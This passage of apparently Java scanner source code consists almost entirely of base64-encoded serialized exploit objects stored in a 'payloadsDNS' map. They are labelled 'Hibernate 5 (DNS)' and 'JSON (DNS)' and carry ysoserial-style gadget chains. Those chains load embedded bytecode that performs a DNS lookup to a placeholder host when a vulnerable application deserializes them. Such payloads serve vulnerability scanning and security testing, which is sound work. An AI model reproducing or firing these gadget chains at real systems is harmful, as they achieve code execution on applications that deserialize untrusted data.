bTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAUTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABlnK/rq+AAAAMQA0CgADACIHADIHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BAAVYWFhYWAgAKgEAFGphdmEvbmV0L0luZXRBZGRyZXNzBwAsAQAJZ2V0QnlOYW1lAQAqKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uZXQvSW5ldEFkZHJlc3M7DAAuAC8KAC0AMAEAHXlzb3NlcmlhbC9Qd25lcjMzMDY1ODM4NDU1NzY3AQAfTHlzb3NlcmlhbC9Qd25lcjMzMDY1ODM4NDU1NzY3OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC4ADgAAAAwAAQAAAAUADwAzAAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADMADgAAACAAAwAAAAEADwAzAAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADcADgAAACoABAAAAAEADwAzAAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABgAAgACAAAADKcAAwFMEiu4ADFXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AHwAAAdTK/rq+AAAAMQAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA7AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4dXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHcEAAAAA3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABcQB+ACl4"));
        payloadsDNS.put("Hibernate 5 (DNS)", Base64.decodeBase64("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAI29yZy5oaWJlcm5hdGUuZW5naW5lLnNwaS5UeXBlZFZhbHVlh4gUshmh5zwCAAJMAAR0eXBldAAZTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO0wABXZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAgb3JnLmhpYmVybmF0ZS50eXBlLkNvbXBvbmVudFR5cGV+e2Nh9AnXEQIADVoAEmhhc05vdE51bGxQcm9wZXJ0eVoABWlzS2V5SQAMcHJvcGVydHlTcGFuTAAPY2FuRG9FeHRyYWN0aW9udAATTGphdmEvbGFuZy9Cb29sZWFuO1sAB2Nhc2NhZGV0AChbTG9yZy9oaWJlcm5hdGUvZW5naW5lL3NwaS9DYXNjYWRlU3R5bGU7TAARY29tcG9uZW50VHVwbGl6ZXJ0ADFMb3JnL2hpYmVybmF0ZS90dXBsZS9jb21wb25lbnQvQ29tcG9uZW50VHVwbGl6ZXI7TAAKZW50aXR5TW9kZXQAGkxvcmcvaGliZXJuYXRlL0VudGl0eU1vZGU7WwALam9pbmVkRmV0Y2h0ABpbTG9yZy9oaWJlcm5hdGUvRmV0Y2hNb2RlO1sADXByb3BlcnR5TmFtZXN0ABNbTGphdmEvbGFuZy9TdHJpbmc7WwATcHJvcGVydHlOdWxsYWJpbGl0eXQAAltaWwANcHJvcGVydHlUeXBlc3QAGltMb3JnL2hpYmVybmF0ZS90eXBlL1R5cGU7WwAhcHJvcGVydHlWYWx1ZUdlbmVyYXRpb25TdHJhdGVnaWVzdAAmW0xvcmcvaGliZXJuYXRlL3R1cGxlL1ZhbHVlR2VuZXJhdGlvbjtMAAl0eXBlU2NvcGV0ACpMb3JnL2hpYmVybmF0ZS90eXBlL1R5cGVGYWN0b3J5JFR5cGVTY29wZTt4cgAfb3JnLmhpYmVybmF0ZS50eXBlLkFic3RyYWN0VHlwZYdFsKQmRS24AgAAeHAAAAAAAAFwcHNyADNvcmcuaGliZXJuYXRlLnR1cGxlLmNvbXBvbmVudC5Qb2pvQ29tcG9uZW50VHVwbGl6ZXLAqqGhlZ9DmwIABEwADmNvbXBvbmVudENsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAAlvcHRpbWl6ZXJ0ADBMb3JnL2hpYmVybmF0ZS9ieXRlY29kZS9zcGkvUmVmbGVjdGlvbk9wdGltaXplcjtMAAxwYXJlbnRHZXR0ZXJ0ACpMb3JnL2hpYmVybmF0ZS9wcm9wZXJ0eS9hY2Nlc3Mvc3BpL0dldHRlcjtMAAxwYXJlbnRTZXR0ZXJ0ACpMb3JnL2hpYmVybmF0ZS9wcm9wZXJ0eS9hY2Nlc3Mvc3BpL1NldHRlcjt4cgA3b3JnLmhpYmVybmF0ZS50dXBsZS5jb21wb25lbnQuQWJzdHJhY3RDb21wb25lbnRUdXBsaXplcgh6nmX/Q4R7AgAFWgASaGFzQ3VzdG9tQWNjZXNzb3JzSQAMcHJvcGVydHlTcGFuWwAHZ2V0dGVyc3QAK1tMb3JnL2hpYmVybmF0ZS9wcm9wZXJ0eS9hY2Nlc3Mvc3BpL0dldHRlcjtMAAxpbnN0YW50aWF0b3J0ACJMb3JnL2hpYmVybmF0ZS90dXBsZS9JbnN0YW50aWF0b3I7WwAHc2V0dGVyc3QAK1tMb3JnL2hpYmVybmF0ZS9wcm9wZXJ0eS9hY2Nlc3Mvc3BpL1NldHRlcjt4cAAAAAAAdXIAK1tMb3JnLmhpYmVybmF0ZS5wcm9wZXJ0eS5hY2Nlc3Muc3BpLkdldHRlcjsmhfgDST23zwIAAHhwAAAAAXNyAD1vcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyTWV0aG9kSW1wbCRTZXJpYWxGb3JtrFu2VsndG1gCAARMAA5jb250YWluZXJDbGFzc3EAfgAUTAAOZGVjbGFyaW5nQ2xhc3NxAH4AFEwACm1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAxwcm9wZXJ0eU5hbWVxAH4AIHhwdnIAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAgTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHBxAH4AJnQAE2dldE91dHB1dFByb3BlcnRpZXN0AAR0ZXN0cHBwcHBwcHBwcHVyABpbTG9yZy5oaWJlcm5hdGUudHlwZS5UeXBlO36vq6HklWGaAgAAeHAAAAABcQB+ABJwcHNxAH4AIgAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABlvK/rq+AAAAMQA0CgADACIHADIHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BAAVYWFhYWAgAKgEAFGphdmEvbmV0L0luZXRBZGRyZXNzBwAsAQAJZ2V0QnlOYW1lAQAqKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uZXQvSW5ldEFkZHJlc3M7DAAuAC8KAC0AMAEAHnlzb3NlcmlhbC9Qd25lcjI2NDI0MzQyNTAxNzE2NQEAIEx5c29zZXJpYWwvUHduZXIyNjQyNDM0MjUwMTcxNjU7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALgAOAAAADAABAAAABQAPADMAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAMwAOAAAAIAADAAAAAQAPADMAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAANwAOAAAAKgAEAAAAAQAPADMAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAGAACAAIAAAAMpwADAUwSK7gAMVexAAAAAAACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAuAAAB1Mr+ur4AAAAxABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADsADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ABXNxAH4AAnEAfgAScQB+ACtxAH4AMng="));
        payloadsDNS.put("JSON (DNS)", Base64.decodeBase64("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IALWphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLlRhYnVsYXJEYXRhU3VwcG9ydE9iDqhrlxdDAgACTAAHZGF0YU1hcHQAD0xqYXZhL3V0aWwvTWFwO0wAC3RhYnVsYXJUeXBldAAoTGphdmF4L21hbmFnZW1lbnQvb3Blbm1iZWFuL1RhYnVsYXJUeXBlO3hwc3IAFm5ldC5zZi5qc29uLkpTT05PYmplY3S4ZY8caCRw+QIAAloACm51bGxPYmplY3RMAApwcm9wZXJ0aWVzcQB+AAN4cABzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAF0AAF0c30AAAACAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAEFjb20uc3VuLmNvcmJhLnNlLnNwaS5vcmJ1dGlsLnByb3h5LkNvbXBvc2l0ZUludm9jYXRpb25IYW5kbGVySW1wbD9wFnM9MqjPAgACTAAYY2xhc3NUb0ludm9jYXRpb25IYW5kbGVycQB+AANMAA5kZWZhdWx0SGFuZGxlcnEAfgAMeHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hNYXA0wE5cEGzA+wIAAVoAC2FjY2Vzc09yZGVyeHEAfgAAP0AAAAAAAAx3CAAAABAAAAABdnIAKGphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLkNvbXBvc2l0ZURhdGEAAAAAAAAAAAAAAHhwc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXNxAH4AA0wABHR5cGV0ABFMamF2YS9sYW5nL0NsYXNzO3hwc3EAfgAAP0AAAAAAAAx3CAAAABAAAAABdAAQZ2V0Q29tcG9zaXRlVHlwZXNyAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVUeXBltYdG61oHn0ICAAJMABFuYW1lVG9EZXNjcmlwdGlvbnQAE0xqYXZhL3V0aWwvVHJlZU1hcDtMAApuYW1lVG9UeXBlcQB+ABp4cgAjamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uT3BlblR5cGWAZBqR6erePAIAA0wACWNsYXNzTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAC2Rlc2NyaXB0aW9ucQB+ABxMAAh0eXBlTmFtZXEAfgAceHB0AChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhdAABYnQAAWFzcgARamF2YS51dGlsLlRyZWVNYXAMwfY+LSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBwdwQAAAABcQB+ACBxAH4AIHhzcQB+ACFwdwQAAAABcQB+ACBzcgAlamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uU2ltcGxlVHlwZR6/T/jcZXgnAgAAeHEAfgAbdAARamF2YS5sYW5nLkludGVnZXJxAH4AJ3EAfgAneHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHgAc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIAA1oADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAGWgALcHJlRmlsdGVyZWRbAAxhZHZpc29yQXJyYXl0ACJbTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL0Fkdmlzb3I7TAATYWR2aXNvckNoYWluRmFjdG9yeXQAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNvckNoYWluRmFjdG9yeTtMAAhhZHZpc29yc3QAEExqYXZhL3V0aWwvTGlzdDtMAAppbnRlcmZhY2VzcQB+ADBMAAx0YXJnZXRTb3VyY2V0ACZMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvVGFyZ2V0U291cmNlO3hyAC1vcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuUHJveHlDb25maWeLS/Pmp+D3bwIABVoAC2V4cG9zZVByb3h5WgAGZnJvemVuWgAGb3BhcXVlWgAIb3B0aW1pemVaABBwcm94eVRhcmdldENsYXNzeHAAAAAAAAB1cgAiW0xvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5BZHZpc29yO9+DDa3SHoR0AgAAeHAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgAUamF2YS51dGlsLkxpbmtlZExpc3QMKVNdSmCIIgMAAHhwdwQAAAAAeHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXR0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4AHEwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGWcr+ur4AAAAxADQKAAMAIgcAMgcAJQcAJgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEADElubmVyQ2xhc3NlcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAKAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAAg8Y2xpbml0PgEABVhYWFhYCAAqAQAUamF2YS9uZXQvSW5ldEFkZHJlc3MHACwBAAlnZXRCeU5hbWUBACooTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25ldC9JbmV0QWRkcmVzczsMAC4ALwoALQAwAQAdeXNvc2VyaWFsL1B3bmVyMzQyMjU4NDcyMTM4ODcBAB9MeXNvc2VyaWFsL1B3bmVyMzQyMjU4NDcyMTM4ODc7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALgAOAAAADAABAAAABQAPADMAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAMwAOAAAAIAADAAAAAQAPADMAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAANwAOAAAAKgAEAAAAAQAPADMAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAGAACAAIAAAAMpwADAUwSK7gAMVexAAAAAAACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgBGAAAB1Mr+ur4AAAAxABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADsADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHh4c3IAJmphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLlRhYnVsYXJUeXBlWvS9ocTWBj0CAAJMAAppbmRleE5hbWVzcQB+ADBMAAdyb3dUeXBldAAqTGphdmF4L21hbmFnZW1lbnQvb3Blbm1iZWFuL0NvbXBvc2l0ZVR5cGU7eHEAfgAbdAAmamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uVGFidWxhckRhdGFxAH4AH3EAfgAgc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+ADB4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9k